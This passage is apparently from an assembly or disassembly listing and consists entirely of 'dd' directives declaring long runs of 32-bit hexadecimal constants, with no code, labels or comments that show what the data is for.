		dd 3E0003F7h, 7A9DCDB8h, 38ED3B6h, 0EA1275E6h, 10D11913h
		dd 723480F2h, 9A5644Bh,	30BB0073h, 8FA71F22h, 0C73B798Dh
		dd 0CE4100DAh, 9F69667Ah, 22420008h, 5F2511ACh,	0DF00923Fh
		dd 0BD35C72Ch, 0EA127D10h, 2D9C0F50h, 803E63A5h, 0FA77C62Bh
		dd 4900D611h, 8FFEDB38h, 4C2D52FBh, 5C00465Bh, 0CAF3F684h
		dd 79128715h, 0F400719Ah, 0ED703C0h, 2F490008h,	1564E6EEh
		dd 2D014F36h, 65B0D581h, 6FC80B92h, 0F5E3EC86h,	0E8268F0h
		dd 160EC60Ch, 79397F00h, 0F800E46Fh, 0F69CDCAh,	6222DE9h
		dd 0C1C0C80Bh, 0BF0022E6h, 0D5B3A5A1h, 15F2E20h, 99ABA49Dh
		dd 30506C0Bh, 0A3033D7Ah, 947AC072h, 3452C0A1h,	0A45B006Dh
		dd 0B29F647Eh, 8B012BE3h, 0A627DDC6h, 0A8C4D2A0h, 57163BB7h
		dd 894C3480h, 6C4F320Ch, 4A15E200h, 0E8763045h,	4743388Ch
		dd 0E6469100h, 0FE8DEB7Bh, 42D23D00h, 60CA9EAAh, 0D80FEB7h
		dd 0E079958Bh, 3188248Ah, 632B6C00h, 0BA9C16BFh, 165FF24Bh
		dd 15A95C6h, 993DF540h,	0CB24207Dh, 0B534AB00h,	571BF856h
		dd 0BA260013h, 1EF606AFh, 0F53BD6B2h, 803B9894h, 3B4BFC30h
		dd 0ED876B89h, 40EAF147h, 15BBB485h, 33F03A03h,	90950C34h
		dd 0DDC251h, 0E50BD8DBh, 39748A5Fh, 0CD77C492h,	0B3099DB0h
		dd 0AB9151h, 0BB077CE4h, 0AC035FACh, 370D00CFh,	0D17FD392h
		dd 154800C4h, 2E7AC839h, 1800F380h, 0FA10EF87h,	0BCAEDBBh
		dd 0C3EC485Eh, 0E4910055h, 1ED9133Fh, 0C0AAF94Ch, 325160BAh
		dd 5C00C5D3h, 7E6514C0h, 6B8B27h, 6D174862h, 6076735Eh
		dd 5A756300h, 0AD3C5B04h, 0DBF01CF3h, 5CD29Eh, 6F200914h
		dd 0A3009BC8h, 2B03DE5Eh, 92EEB867h, 760E00CCh,	0FC608C7Bh
		dd 0F300AF5Ch, 4369AB4Ah, 488BA7h, 0E3529BB2h, 0B679F54Dh
		dd 0C5738498h, 0C1772800h, 25ED0603h, 0A1050EF4h, 41DDA88Fh
		dd 7D9814FEh, 0B585C41Ah, 596F3800h, 0C66DBB61h, 432B0972h
		dd 0FD01D8E8h, 0DC4F3EEDh, 2A00EB30h, 0EE4557C3h, 0B0A1065Dh
		dd 49A83DDBh, 0DA762404h, 58A1C09Ah, 81000111h,	319B6C36h
		dd 35E918Eh, 7F52755h, 0F5B46Dh, 0B4CC1ADh, 760784EBh
		dd 7874CBA2h, 462D7D90h, 5D0E02C9h, 0BCDE6EDAh,	848CE660h
		dd 0DF57D007h, 0D38325D7h, 0CB6A88CCh, 0DDE200FEh, 0C97EB1E7h
		dd 4B0026D5h, 14ECD81h,	3E3298EAh, 9080C641h, 8531BF73h
		dd 0A100DC4Ah, 0B727FB7Fh, 26114466h, 3CDCB0FFh, 0DB64F280h
		dd 0FB05B952h, 0E998D1Fh, 1B00485Eh, 36CE9B6Dh,	0B84100D6h
		dd 0A8C796AFh, 98094004h, 0FDAC0Bh, 5F1F5A52h, 3C2900FEh
		dd 94885375h, 4B166849h, 4400FDBBh, 6373565Ah, 84FE0A76h
		dd 80E4716Ch, 6D26C265h, 38B0C870h, 0F66EE800h,	463F0C15h
		dd 93D800F7h, 0E953485Ah, 8338CF68h, 0AE9800EFh, 851555C0h
		dd 0BE730043h, 0BCDDABBAh, 341F310Ah, 50402097h, 657913A9h
		dd 4A760082h, 0E095D522h, 411EFC7Ch, 90C55C94h,	84C81BF4h
		dd 4C270913h, 0F800468Eh, 120F3643h, 0B4006D76h, 0A4390E4Eh
		dd 9858CA21h, 2E570398h, 1443F125h, 0DAF3DDD8h,	0DE4EB300h
		dd 8D517AB6h, 0A6616060h, 95061A37h, 0C9DDEC07h, 7F105808h
		dd 90D3B9h, 6710F225h, 70D6C22Fh, 4AB83100h, 9E52DCFAh
		dd 0C0425F04h, 0DA7C8A57h, 1CC01300h, 0CBB83F69h, 0A64F00ECh
		dd 0A356879Eh, 0EE1F203Ah, 43000322h, 6F570975h, 0B36D002Ch
		dd 1FB9CED1h, 3700A711h, 0FBEF65DCh, 60F783DBh,	0A253401Bh
		dd 19003BC1h, 9D0EE1AFh, 3E00691h, 0D81D2DCEh, 1CD25A5h
		dd 83DD9494h, 0C3BEE4B0h, 7F78B724h, 840D824h, 0DDF0A7h
		dd 98796DCEh, 129EFE84h, 0AEB1CD00h, 0D3A1D706h, 892807D9h
		dd 5017BED1h, 8CAAFDC4h, 93E8CD00h, 0EE56BD3Eh,	2696A0C9h
		dd 636500DEh, 61870ACCh, 3F009670h, 99FB1D71h, 1D95032Bh
		dd 434CAA48h, 0D3CDE877h, 7BA8EBD8h, 86519A00h,	1C308C85h
		dd 4BE90003h, 2197EF84h, 0D1001EADh, 0EB405E94h, 1DC220h
		dd 6ECE10FEh, 3749B007h, 56D04700h, 0B44306ECh,	34F10058h
		dd 20E26AFEh, 0C00FF22h, 0A47F4944h, 0E7C429h, 0C75A5694h
		dd 78B68947h, 0E2E292F8h, 30C52524h, 2A00B00h, 65C19B0h
		dd 0C939C162h, 90F01CA9h, 7925FB38h, 1C002E7Fh,	8235D9FDh
		dd 39442Ch, 0C23C5017h,	2245B2FAh, 36080A03h, 804B8C7Fh
		dd 0F3E41Eh, 487C9BECh,	2B497033h, 0EDDB2F0Bh, 9883D7C9h
		dd 4AE0CAC1h, 64000441h, 0BEC57E2Dh, 9F4E19h, 56763FC9h
		dd 8018B87Ch, 3CA53D00h, 0AC6959DFh, 0DB340399h, 232DE55Bh
		dd 3AAB30DFh, 0E800CEA9h, 78E18A6Ah, 0F4420B1Bh, 632A00D3h
		dd 65D55D6Fh, 0CF1CD40Fh, 330090B1h, 9F7E1A36h,	581C1F2Dh
		dd 8160C039h, 0E667229Ah, 29523Ch, 69CA8804h, 4276F4h
		dd 2CE428DCh, 17759305h, 12E77100h, 50F616F9h, 687C3A4Bh
		dd 0DFDC699Eh, 0D34F00E1h, 0F59B305Ch, 992F700Ch, 59A2BBh
		dd 90E58317h, 0D0D55BD4h, 66A3E300h, 0CE9E6146h, 52600032h
		dd 5FE1ADBEh, 16071D6Fh, 11F1A78Fh, 0CF8800B9h,	0D09F3Eh
		dd 0F2461359h, 70E53DD8h, 0ECDC5B09h, 1EF303F6h, 746087BCh
		dd 4C5FE92Ah, 7050C5F2h, 2A5E71A0h, 0BC735Bh, 0EE62A694h
		dd 477C10F7h, 5CC8A300h, 77D2B539h, 0BB7003Eh, 9C8C97E8h
		dd 4800AF2Bh, 729AD957h, 1FE427h, 1171B95h, 0CC805C6Ah
		dd 0F66C4E00h, 0CB4D38D3h, 160C0072h, 0ABE9C30Ah, 9105E730h
		dd 731D027Ah, 77ACC9C4h, 90784000h, 8F450E18h, 4B647100h
		dd 1281106Eh, 0B8B20043h, 73155D7Fh, 0EC180F0Dh, 44E025E3h
		dd 0DA530F05h, 0B9C0B612h, 8C1FA972h, 100ED78h,	1CB458FFh
		dd 0CA65FBh, 19414B6Ch,	9FEA263h, 47BF5600h, 0FCDD60EEh
		dd 1E91B88Eh, 81AFA30Ah, 89026806h, 0B07CFCB9h,	4B97BD00h
		dd 7A73A9DDh, 671C128Bh, 22500E75h, 0E9D4FF40h,	0A3009E57h
		dd 3338D609h, 3FC686F6h
		dd 593C6277h, 31E6BA00h, 92F24C1Eh, 0A6051228h,	60B32E02h
		dd 0E0499638h, 0A5E3F1h, 73FE180Ch, 0DA14C484h,	8061AF00h
		dd 8B2893F8h, 0A3F100E9h, 6B6E3FBEh, 5B90D09Ah,	23885603h
		dd 0A0792836h, 0BDF35Ah, 1217AADBh, 0A9B3AC58h,	4E14C102h
		dd 60441A35h, 5C673D1Ch, 48768A6Eh, 0A4C09C8Eh,	4CB97DFBh
		dd 5BA64000h, 0F631486Bh, 37E200BCh, 0DE7A9409h, 0B43B5DAEh
		dd 0D78FC7Ch, 0B2A3C007h, 7517D179h, 0E2E3A540h, 858238B9h
		dd 0C4A43480h, 97BFA869h, 25336400h, 82F20855h,	0D2A3002Dh
		dd 0E016E204h, 50E5D8Bh, 0F021F8h, 0C6208FA2h, 7032000Dh
		dd 1A6AB2A6h, 5A0360F7h, 8EFA9D8Bh, 7E100038h, 0CABC59EEh
		dd 871F8C8h, 8602A600h,	661B530Dh, 0FC20ED10h, 3C280089h
		dd 0D57927AAh, 0DFFBF0DCh, 9C223780h, 80AC553Ah, 9781881Ch
		dd 3C1B28h, 5CFD2944h, 0DF21A8DCh, 79506600h, 9AD283D9h
		dd 0BC03008Bh, 0ACA7D4A4h, 71C74C0h, 83FD1896h,	55AC3F8h
		dd 7FF6C09Fh, 0A31B1D66h, 89360724h, 0CF72D080h, 41EC62BCh
		dd 836D7C38h, 86ACA647h, 0AD01FF88h, 1DF87A99h,	4C1FFE40h
		dd 2A004E46h, 0F9CF56D9h, 41C045C5h, 840290FFh,	616300F6h
		dd 0A44B6DE5h, 9560AD34h, 0D5335820h, 53F0062Fh, 19F79C13h
		dd 0D76D707h, 0F5F1FEECh, 0B6D4B41Dh, 0CE2A0069h, 36A57316h
		dd 0B8922BF4h, 0CA3C2C07h, 3B009A42h, 1CE33F61h, 0B5F9FCh
		dd 0E680E701h, 0E0E4430Dh, 2C233D00h, 258FD650h, 42F073h
		dd 0D56F56EFh, 16BE4824h, 0B230E210h, 213A5008h, 0D943DAC0h
		dd 55D500B1h, 0DDA2D659h, 0EF013F31h, 0CEF81B5Eh, 4C200DCAh
		dd 890A0054h, 1F14DB6Bh, 3091E97h, 832E8741h, 90F82270h
		dd 6E8B30h, 0F28CBED3h,	84179C44h, 0D6809E00h, 0BAEF1308h
		dd 0BE54006Fh, 85C02C0Fh, 0E779207Ch, 8D2B4803h, 0FA0A9C66h
		dd 748C601Eh, 31E50772h, 0F0AEA006h, 40576DD3h,	0B5C99C1Fh
		dd 0FA981F58h, 2C23F4AFh, 801C1631h, 20041A74h,	6B002615h
		dd 597071C9h, 8ED16Dh, 341BA9Bh, 0DDFC1D93h, 0D8FE4577h
		dd 1B1CEF00h, 0B9F04DCAh, 0A32E0459h, 905A0BDAh, 99C87798h
		dd 7D3C7400h, 37A59AA0h, 0CA43DB9h, 0A22FC080h,	0D053E83Eh
		dd 0B7D7D912h, 0FC878800h, 5B821BBh, 5D90842Ch,	1F000F9h
		dd 0D27C4FF8h, 80E1FE3Ah, 944E6DC3h, 383A03Ah, 0AA5B5DD5h
		dd 0FCC8A431h, 0BAE636BFh, 4D9B41Ch, 550813C0h,	8494FDh
		dd 920329C1h, 6F27E0BFh, 38596100h, 0ACA0F725h,	101C0044h
		dd 82A6579Dh, 0C0002CDh, 2DC2F33Dh, 24B368D6h, 0D893E4h
		dd 2104A9F6h, 291F5047h, 274063E0h, 53D2CB9Ah, 0A4620033h
		dd 0AAD769ACh, 2B007E97h, 0D8EDCD4Dh, 30C28CB9h, 19492838h
		dd 0E4E002DBh, 0C034E748h, 2EC244C6h, 91FA0018h, 0DC2F9830h
		dd 0AB0EFF63h, 80F148C9h, 94C3D858h, 0A96F006Ch, 8A687A76h
		dd 9200698Bh, 0E6062805h, 964A79h, 0D6CAA0B6h, 0D7043D1Ch
		dd 211B3501h, 6499D3F5h, 1C16A170h, 3832902h, 0E11F2BD1h
		dd 0DCE0EA8Ah, 73E6BBB1h, 327E2498h, 3F5E5907h,	8AC00FD4h
		dd 0F69AE4h, 0D681A344h, 0A49212FFh, 6F9B5A00h,	902F7143h
		dd 729728B3h, 27D80FE4h, 2BE09EC9h, 3EFB7ECEh, 0C225CB00h
		dd 397CE42Ch, 68280072h, 40984DEEh, 0DA0964A5h,	8273C233h
		dd 0E07C6B7Bh, 95CC06Eh, 7E8EB11Eh, 0D3FCD420h,	4971C726h
		dd 0B915E605h, 0FAE82A28h, 9EF75900h, 0CC7E172h, 9C487428h
		dd 0F0943E01h, 59065D4Bh, 3581ECh, 0C9D7F2B1h, 860B464Dh
		dd 0F43843Dh, 80C3DFB8h, 5A24874Ch, 0F62D1F0Dh,	624BC0D4h
		dd 1D427038h, 0A507DE0Ch, 9FE83Ch, 0C1143706h, 1E0E411Bh
		dd 95D2AF00h, 10DDB1E8h, 4D87006Ah, 0FDE28BF1h,	0D4007F77h
		dd 8E2E8A66h, 0F841904h, 3DB47321h, 59773220h, 0D7198F61h
		dd 5C604847h, 0C824E898h, 630023BDh, 1D15E06h, 0FB466ECh
		dd 0EAB91D7Bh, 65F8BA40h, 923E77DAh, 0C48B0046h, 6CA3BCCAh
		dd 610B3921h, 0A9F28503h, 32E8D8B9h, 0F1001DF7h, 45F6F55Eh
		dd 0E94AECBh, 4147DCFAh, 9CB93EE0h, 81E464A6h, 4034C613h
		dd 0DBD13800h, 0B0B75620h, 0E1C304D0h, 301DCBh,	0A0B8A7F2h
		dd 0DF0D008Ah, 11AC84B2h, 4D021815h, 0A902B31Eh, 927E0C2h
		dd 928C0407h, 0FB8A7849h, 0D9B519C0h, 7C1100F8h, 1C824314h
		dd 8C5801DFh, 0B36209D0h, 0EC3896F1h, 8FEF0082h, 0EA177508h
		dd 0EE007C6Ch, 14615AD8h, 24C3FAAh, 0D26ABB90h,	627F9AECh
		dd 0B4D44014h, 78E207C5h, 12A34C28h, 0D4487225h, 75E23742h
		dd 600750F6h, 4FFBBA02h, 675670D0h, 964400EAh, 6D8A9EE1h
		dd 1000AFACh, 0E83105A4h, 977AD90h, 17FBD004h, 0E7A63C80h
		dd 0DFE2E45Fh, 0F54D3E00h, 87E6726Bh, 7C2D03BDh, 13478945h
		dd 0C71F15B8h, 3C7E80CCh, 286F60DEh, 83C45784h,	71A064Ch
		dd 0CE976CC5h, 0F83A80C0h, 0C6580E27h, 0F7E0772Dh, 0DB548E47h
		dd 0AA35C000h, 6043ECFCh, 0B4E11863h, 48D9042h,	2696C838h
		dd 0D0005C68h, 0F72B2BCh, 0ED7000F0h, 2F87DFAEh, 0D207B6ECh
		dd 8682BD3Eh, 535AF510h, 0B1A03E2h, 695F910Ch, 0E55B4007h
		dd 3D541FDEh, 0DFE27CC7h, 0BBA48085h, 14719445h, 0DC156827h
		dd 3B7D8280h, 0F02FD14h, 8FA1A7A2h, 2AFDC064h, 0F2AB00DCh
		dd 0BF8CA871h, 7C077031h, 43D29106h, 4C67AF10h,	5F1D0054h
		dd 74B36B17h, 2500FF9Bh, 0DC61EC81h, 2EEA03h, 4359D0BCh
		dd 8CF64D0Ch, 7CDE48C0h, 73ACAA6h, 36DC0806h, 8E7DF0CBh
		dd 0A53E1F12h, 0F8AB8051h, 0C208EFFDh, 29FC0013h, 828AAE73h
		dd 0D00197FEh, 0DE5423Ah, 0F7C8AF5Eh, 0AEA7001Eh, 0C85957Dh
		dd 0B00197DCh, 423BB579h, 0AFE57C65h, 7D00C428h, 0A8EA4BB3h
		dd 0B0EEBDFh, 0AF42F08Ch, 0ADF900B1h, 0E07679A9h, 0EE9F8F1h
		dd 84E7A05h, 0CAC55E0h,	9600A269h, 0FB4161D3h, 38E3A98Bh
		dd 1E004729h, 56660848h, 85000F4Ah, 0A9F38C3Ah,	96DC55h
		dd 0E9A209EEh, 4407CD21h, 60E7BC3Eh, 49C2B121h,	775C0F4Bh
		dd 5700F6F2h, 71803960h, 83900D07h, 9E407DE3h, 0A29275h
		dd 91FFAE6Eh, 0B577C646h, 89A7743Dh, 0A4A9Ah, 94A80EFCh
		dd 41541DEEh, 12920085h, 29F82B8Eh, 5C091D00h, 2C39B680h
		dd 7AD33BDCh, 5FF4BD85h, 0B9900EC6h, 0D461AA80h, 0EB3B3259h
		dd 9630FD95h, 453448EDh, 0E03A005Dh, 0FF9838C1h, 377FD0DCh
		dd 192CE70Fh, 4C00B35Ah, 633017B8h, 405601B2h, 699ADD3Ch
		dd 9BBE0132h, 965FC4h, 0F086E162h, 99B105C0h, 87936101h
		dd 0A5C6DE0Eh, 3AADDDCh, 55664ECFh, 0A880B132h,	0E5FB95F0h
		dd 0F76FD4C3h, 6E04590Bh, 64848F58h, 0A920EDA7h, 0BB004D94h
		dd 0BCD91098h, 0ACE323h, 400E81E1h, 13D3CEB6h, 10D77D13h
		dd 537F2803h, 0E851F34Fh, 7F01A92h, 0BA94D68Fh,	59EEE0A6h
		dd 0FC00EA0Ch, 0FBA0FF57h, 7C5673Dh, 68A4D0C7h,	0A975F3DEh
		dd 6BC8E1C3h, 1100E26Dh, 0A5454DF8h, 0B935BC25h, 5A2A0034h
		dd 0A02198DEh, 0FC82D80Fh, 8564A020h, 3C06B9C5h, 24017046h
		dd 23593E6h, 0FBC852C6h, 53A2C0E0h, 0A4B7AF00h,	0D7D87712h
		dd 0BFA000E5h, 0FF58DDFEh, 2B1CB1A6h, 2D401918h, 1F6D77Eh
		dd 24764C6Ch, 0FF8B800h, 0D1BE899Ah, 0E1AEFF00h, 7E216E15h
		dd 8F3A053Eh, 90F77163h, 66E5BD78h, 0D505957Ch,	5EEBDA75h
		dd 0F800C0CFh, 98467591h, 3800E704h, 7EDCD001h,	1C5E5BD5h
		dd 0AC8180FEh, 0BDED03B0h
		dd 11968248h, 0EA006290h, 956BAD55h, 2ED1EDFDh,	2B043CAh
		dd 719B63C8h, 0F674C4C0h, 2604589h, 0E5C007Ch, 84546F68h
		dd 0BE01E252h, 5104FF07h, 2C60604Ch, 0B54800E6h, 25F276F9h
		dd 0CF0195B8h, 70E47DEBh, 3460FEABh, 8456007Ch,	6F4E1475h
		dd 0AE078E9Dh, 12FAF297h, 99160301h, 3EC9D8h, 179B517Dh
		dd 0BDE3AE0Ch, 0A9EBE20Bh, 0A4A90241h, 3B785820h, 0A88F2CE1h
		dd 7A226D02h, 7960EFE5h, 0AB2E4D48h, 0B200E3C1h, 85D21EAFh
		dd 0C3D006Ch, 854B673h,	7C04A786h, 4DE4D1D7h, 3C8943C0h
		dd 146A7A71h, 803BC858h, 81AF9000h, 0E633F3B6h,	26935605h
		dd 0DAC07D83h, 91749Ch,	7240E0F9h, 0DD28DB15h, 1B325C00h
		dd 3E291E79h, 0CA7400C3h, 75139562h, 0F6002B59h, 0F406ED7Ah
		dd 0B9CE9Bh, 5519A953h,	3BF720D1h, 807D653Fh, 0DAB4115h
		dd 0FDA8F57h, 5B26808Dh, 3ABD6F66h, 56376700h, 8E86700Dh
		dd 194409F6h, 2C82151Dh, 8040ECBCh, 9724735Ah, 0CF036854h
		dd 0F0BBA101h, 4DD76CAh, 0AF2CC51Ah, 0F27890D1h, 0DE394F36h
		dd 8ECC09A6h, 38A0E07Bh, 446D5AA9h, 0E0A3F4B8h,	0C004A48h
		dd 57903D37h, 0E8D794ABh, 54A5003Fh, 222C2BE0h,	0C40B70E5h
		dd 348DCDh, 30AC37ECh, 38881E96h, 615800B5h, 1F04E972h
		dd 0A1064500h, 0C6EDAE02h, 0E0CF49DBh, 80E55E1Ch, 9C543EE3h
		dd 97006511h, 32FE942Dh, 7A7644D1h, 6F16041Bh, 0C0DA0C55h
		dd 0AE13A69Ch, 7796D33Dh, 4FB0CF00h, 0C6FB8B35h, 0EF2000Fh
		dd 0A6B60273h, 2A3E92FDh, 0B1E780D5h, 116A80D1h, 2BA00044h
		dd 9B49A1CCh, 0AF00F33Fh, 9E7364B8h, 20918Fh, 29D0E6ABh
		dd 4051744h, 2CD80F2Ch,	3A62AD00h, 0B0126402h, 5597332h
		dd 0FF340E38h, 0DEF2C02Eh, 0F20EB6CAh, 493D8058h, 6389DFh
		dd 3F403253h, 0E03750C0h, 9FCF0E9Ah, 0B5E11283h, 0C894ACA5h
		dd 97FE45E4h, 916A8B00h, 0F4CDB9A9h, 9AFB07BDh,	60FE3961h
		dd 9C276EDCh, 0F3A6D0Fh, 32DBC0C3h, 1FB29910h, 17FAA32Dh
		dd 654C0239h, 0F0E8A7ADh, 0E00DEBAh, 354E1B14h,	7FD52F50h
		dd 3D470006h, 6A330709h, 0C600B8EBh, 3C38C842h,	46B50C5h
		dd 0EC45429h, 0A9C0C0E5h, 0E1018E34h, 10B433F5h, 0C7F0AF7Dh
		dd 21300EADh, 41C3F29Eh, 46980F55h, 1B0B53EDh, 80877C26h
		dd 8940499Ch, 4B640085h, 66D4F29Ch, 0D002E45h, 0C3DCF313h
		dd 87EBD9h, 0BE3734F0h,	0C57EA36Eh, 410D8C00h, 0B496F2FFh
		dd 62A9006Ch, 0B8F409ABh, 83008271h, 0CE87E665h, 7C5D3E7Dh
		dd 14448DEh, 555F2100h,	0CCBADBD4h, 88D683EEh, 644A00BEh
		dd 0BD03770Fh, 5044E0B4h, 79E79CF0h, 78FEED4h, 0D9CE78B6h
		dd 0A02E0059h, 0CD00AF2Fh, 44F5BD20h, 3AE64870h, 0B8043E99h
		dd 802B7EA4h, 12AB3D34h, 76E98100h, 0E4CDE073h,	1F3F0C87h
		dd 0DECBAFDh, 0AB93BD18h, 190F690h, 5D359D37h, 20737707h
		dd 0F1001A20h, 4A6E2A7Ch, 7F88A8E3h, 5BB8167Fh,	1614016Dh
		dd 0ECB7CFB9h, 0AC3EA439h, 33CA0035h, 0CD4D56DAh, 7B430049h
		dd 6C02B2ECh, 0E6028110h, 4A24AED7h, 4AC85021h,	5D600107h
		dd 2C12596Ch, 0BB1E0020h, 732C5AB0h, 2A461771h,	0EE1D0753h
		dd 83F8D07Bh, 630058C0h, 83F2C15h, 2B17032h, 47BCB61Bh
		dd 0E86297A3h, 4345CAC0h, 0EEDF5A0Fh, 9330201Eh, 1E12EF95h
		dd 40BE8C5Eh, 0CB2F7331h, 9E009F15h, 0CCE96CDh,	17C8F319h
		dd 34454E6h, 30DD7780h,	9BA15CA8h, 85B73C07h, 0E6D017E0h
		dd 123340h, 0ED9FE884h,	35EF535Fh, 881C2400h, 1B561D75h
		dd 763E0F39h, 8D079C7Bh, 0B440801Eh, 241E2F79h,	74002A70h
		dd 0F15AC8C0h, 717853h,	0E3CBE68Fh, 5270199Fh, 439AF500h
		dd 0EA0AF8D4h, 5850E5Ah, 0DFE06555h, 0FA2AC5F3h, 8986831Fh
		dd 2C0BB300h, 7ADCBA1h,	0BAC74884h, 44A75071h, 0FF0F87D3h
		dd 0B27E02h, 36D2C5F4h,	0B79C0043h, 78E36084h, 2A00689Eh
		dd 23B19F83h, 9170E9h, 35DD1F2h, 5B15425Ch, 0EDE8407Ch
		dd 6B1F4170h, 0FB8F2C38h, 3D109807h, 0FC3C3831h, 45002644h
		dd 0E8CF4E30h, 3B7176C8h, 0B80282Ch, 18311C1Fh,	3302F994h
		dd 81082189h, 13ECE029h, 0DD6509A1h, 0A900DBEFh, 888DE686h
		dd 0A04AD400h, 7352B10Dh, 0BBB1D75h, 633C05Eh, 0D534B9C4h
		dd 2081CA00h, 0D3FCA129h, 10210EE3h, 0F5E60596h, 0C400F8ECh
		dd 0C9F3A56Bh, 1C1E4D9h, 1285262Dh, 0C44EA13Ah,	0BEEC4793h
		dd 8143AC00h, 83188CDh,	0B40C1C2Bh, 0EAFAC014h,	51A6A3E7h
		dd 0A4987700h, 1C29838Fh, 0DD0800DFh, 6F1B65Eh,	0EF3C1039h
		dd 1AB5072Dh, 0F920C7FEh, 0A4E50Ah, 0DAD503C2h,	4704BE14h
		dd 68E9F81Eh, 0C3C0451Eh, 0D7F4C93Eh, 1E1B0001h, 3F7C2E56h
		dd 90048E3h, 8ACAEBEDh,	7D9EDE31h, 18E1020Bh, 91D01A29h
		dd 0C2009FF0h, 0BBA75FBFh, 5343C8h, 2D05A8DBh, 0B7C617B2h
		dd 7DF7B812h, 0A1E2EA01h, 0BE606D64h, 74AB0FF5h, 0B9807577h
		dd 520FB66h, 0C3A851Fh,	33E8EF40h, 0B88490D5h, 7BA33970h
		dd 0A56C1607h, 0E95AC01Ch, 13008223h, 923E5294h, 1660BAh
		dd 40EA6A89h, 1AD03984h, 4B17D900h, 0AF3537E6h,	6D0500E4h
		dd 7D89E767h, 0E500D724h, 8AC6192Ah, 0E4436Ah, 0C821204h
		dd 0E1A756ECh, 6B07D700h, 38EB09E0h, 3AFAC4h, 59D035FCh
		dd 0CAA133D9h, 69DBD50Eh, 946E1F1Bh, 0EB76E00h,	0F3A5E61h
		dd 0EFE930E7h, 8D898020h, 0A100B814h, 10D88E73h, 718CF6Fh
		dd 3B0FED44h, 660AF0F4h, 1D5CF523h, 0C2700E1Ch,	74CE405Bh
		dd 0C49360h, 0B36BE048h, 0FD09BB12h, 33B03400h,	9BE76A46h
		dd 7AA6E2C6h, 0E58800C2h, 9115830Ah, 740075BAh,	0CFD59CADh
		dd 1C31202Dh, 52F6A196h, 9A1F18h, 6F08B70Bh, 6C008AC0h
		dd 0D66E7D5Bh, 0AB3CDEh, 0B2FCE39Bh, 884E0E91h,	26B50B00h
		dd 806A7537h, 1CC03EDCh, 7E298480h, 5106773Bh, 658B5507h
		dd 0F860B77Ah, 718FF06Fh, 57CD00D4h, 0F5B945Dh,	7A003463h
		dd 0C95ACF02h, 0FD81F0h, 9BF22C91h, 483F9C08h, 0BE35961Dh
		dd 22BB5140h, 0DEE113h,	0C9F6FD9Fh, 4B24A595h, 9750040Fh
		dd 94A8A00Fh, 0F50609h,	0B0F3D45Dh, 1C843B40h, 9CE20507h
		dd 27E7EE81h, 0BCD522C0h, 8F1A0318h, 15B86A3Eh,	0A2CA63D8h
		dd 5C0D3B00h, 0F2629E07h, 0AA51005Dh, 864730Bh,	66000E61h
		dd 0C27D5481h, 0A05EE6h, 0EFA7271Dh, 0BE8AE365h, 66D35C01h
		dd 691B718Bh, 0D6490DFh, 3F52C0B2h, 0AA2E7EA9h,	0C8213D00h
		dd 0E07D8D12h, 0DCD60064h, 7BA9F097h, 72267487h, 5C0008CEh
		dd 9F322CB7h, 66A40279h, 28CAF9DFh, 52DC0068h, 0A65DBC3Dh
		dd 80004840h, 192F41Bh,	12950571h, 0E55A1B6h, 0C0C099EEh
		dd 7FF1B3BBh, 899E2D3Ah, 0A3F9E8C7h, 0C450D7F0h, 0DA41FDC0h
		dd 51D300DBh, 4F830EABh, 8D00E46Fh, 0C19C6C33h,	0C01BB9AEh
		dd 46AA2481h, 581271B4h, 0E3032B5Eh, 0F0E86F8h,	782A0320h
		dd 110AEF06h, 0CA002278h, 0AB83F9B8h, 9EAE6Dh, 61046E06h
		dd 0D0B6598Fh, 3D1A5000h, 0A52464E2h, 8DA03A8Bh, 0B79AC683h
		dd 780E5853h, 273BD91Fh, 5B405F9Fh, 1F94670Eh, 0EF9C4Eh
		dd 317813DAh, 7E03A599h, 611B7473h, 228CC89Fh, 34AFCC9h
		dd 0A46C3BE8h, 5000DB1Fh, 0FB3FCA1Ch, 0F8D461D7h, 0D20CA0A2h
		dd 632200F4h, 39E82E84h, 6E00C2A3h, 3DAC23ABh, 0B4CCD6Ch
		dd 0A5C75F73h, 35E23F00h, 7F00AB61h, 0FF299051h, 741F5EBh
		dd 64EA3909h, 70A3B083h
		dd 250060A0h, 264EFF2Dh, 5E613h, 0CF4787C7h, 41B404D1h
		dd 33F4C3Ch, 403C2BBEh,	0FC9CF8B7h, 7CE639h, 0F8682CEBh
		dd 0CD6165D8h, 0E917E200h, 440F02A1h, 83DA1F80h, 75D74069h
		dd 55A82272h, 9D162C00h, 91BCAECh, 0E9A00354h, 85A6F8F5h
		dd 0ED193BF8h, 0A800D77Bh, 0A86FA74h, 7CBFA42Eh, 0BE00EDFh
		dd 0F5819281h, 30EC8F3Dh, 513925EEh, 0ABABE5Dh,	0D0E73C99h
		dd 0F44680BAh, 3DA3D90Dh, 9C613F20h, 0E04D30F4h, 1DAB2320h
		dd 0CA05D27Eh, 0EF2C6CCEh, 9590E000h, 285E0F81h, 28F309FDh
		dd 0C43752h, 8A5F913Fh,	58FF6B61h, 749B6438h, 0A5D4EE54h
		dd 340066F8h, 7C57FC37h, 70BD460h, 0E41963BEh, 38C6A041h
		dd 4E00F074h, 15ECDD62h, 5C675E13h, 3C03A4A2h, 0EFE164C6h
		dd 14F2217Ah, 1CD15E66h, 34102190h, 455F8681h, 19C2A361h
		dd 6CA010DAh, 99F50066h, 0C07FA725h, 0D90052CFh, 8C38D660h
		dd 0EABE1E2h, 25473908h, 0C39EB6Ch, 0C7A29700h,	0E0636905h
		dd 0E20300C6h, 0A9AAE70Bh, 0FB01E90Fh, 0DD236455h, 0B08730ACh
		dd 8326E3C1h, 1000315Ch, 0FE6AA39Eh, 2BC349h, 83162DA5h
		dd 0CCDE8A3Bh, 82683Dh,	0AD28F8Eh, 7BA3EADh, 67E589A4h
		dd 240E815Fh, 4C53E8FFh, 608BDF39h, 74997C4Eh, 8D9D0307h
		dd 75AE2DB9h, 8744C5C8h, 0EC98C000h, 0E4477CB6h, 52293063h
		dd 3F9B9740h, 6A4C5F00h, 575654C7h, 2F21F93h, 0B24B4B3Dh
		dd 97282F80h, 0F9008BFDh, 0E3A95AB1h, 309EF02h,	0F1483D41h
		dd 4000F408h, 0B25C5753h, 0BF1D80h, 22AEEC0Bh, 0F4441438h
		dd 1EC2BE1Dh, 7C8B18C0h, 1FF11316h, 43F080FCh, 0FD33CCAAh
		dd 871D4CF8h, 0D2606362h, 28AE607Bh, 0F180F585h, 0F5589F31h
		dd 790124FAh, 7B9C672Dh, 0A88FCF66h, 228C3213h,	85187CD0h
		dd 7F180CFFh, 0E8C80188h, 739BA8D8h, 98CD103Eh,	0F79750Fh
		dd 82D51E9Dh, 2258CE01h, 4CD0806Eh, 0C04BF054h,	60930341h
